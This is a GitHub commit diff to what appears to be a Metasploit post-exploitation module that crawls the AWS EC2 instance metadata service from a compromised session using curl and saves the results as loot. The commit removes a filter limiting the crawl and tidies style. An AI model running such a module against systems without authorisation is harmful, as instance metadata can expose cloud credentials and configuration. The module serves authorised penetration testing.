Skip to content

Commit 558adb5

Browse files
committed
Uncork module and address style issues
1 parent b2e06be commit 558adb5

File tree

1 file changed

+8
-10
lines changed

1 file changed

+8
-10
lines changed

modules/post/linux/gather/enum_aws_ec2_instance_metadata.rb

Lines changed: 8 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -6,24 +6,23 @@
66
require 'msf/core'
77

88
class MetasploitModule < Msf::Post
9-
109
def initialize(info = {})
1110
super(
1211
update_info(
1312
info,
1413
'Name' => 'Enumerate AWS EC2 instance metadata',
15-
'Description' => %q{
14+
'Description' => %q(
1615
This module will attempt to connect to the AWS EC2 instance metadata service
1716
and crawl and collect all metadata known about the session'd host.
18-
},
17+
),
1918
'License' => MSF_LICENSE,
2019
'Author' => [
2120
'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module
2221
],
2322
# TODO: is there a way to do this on Windows?
2423
'Platform' => %w(linux osx unix),
2524
'SessionTypes' => %w(shell meterpreter),
26-
'References' =>
25+
'References' =>
2726
[
2827
[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
2928
]
@@ -46,7 +45,7 @@ def target_uri
4645
end
4746

4847
def check_curl
49-
unless cmd_exec("curl --version") =~ /^curl \d/
48+
unless cmd_exec("curl --version") =~ %r{^curl \d}
5049
fail_with(Failure::BadConfig, 'curl is not installed')
5150
end
5251
end
@@ -63,11 +62,10 @@ def get_aws_metadata(base_uri, base_resp)
6362
r = {}
6463
base_resp.split(/\r\n/).each do |l|
6564
new_uri = base_uri.merge("./#{l}")
66-
next unless new_uri.to_s =~ /public-key/
67-
if l =~ /\/$/
65+
if l =~ %r{/$}
6866
# handle a directory
69-
r[l.gsub(/\/$/, '')] = get_aws_metadata(new_uri, simple_get(new_uri))
70-
elsif new_uri.to_s =~ /\/public-keys\// && /^(?<key_id>\d+)=/ =~ l
67+
r[l.gsub(%r{/$}, '')] = get_aws_metadata(new_uri, simple_get(new_uri))
68+
elsif new_uri.to_s =~ %r{/public-keys/} && /^(?<key_id>\d+)=/ =~ l
7169
# special case handling of the public-keys endpoint
7270
key_uri = new_uri.merge("./#{key_id}/")
7371
key_resp = simple_get(key_uri)
@@ -88,7 +86,7 @@ def run
8886
check_curl
8987
resp = check_aws_metadata
9088
metadata = get_aws_metadata(target_uri, resp)
91-
metadata_json =JSON.pretty_generate(metadata)
89+
metadata_json = JSON.pretty_generate(metadata)
9290
file = store_loot("aws.ec2.instance.metadata", "text/json", session, metadata_json, "aws_ec2_instance_metadata.json", "AWS EC2 Instance Metadata")
9391
if datastore['VERBOSE']
9492
vprint_good("AWS EC2 instance metadata")

0 commit comments

Comments
 (0)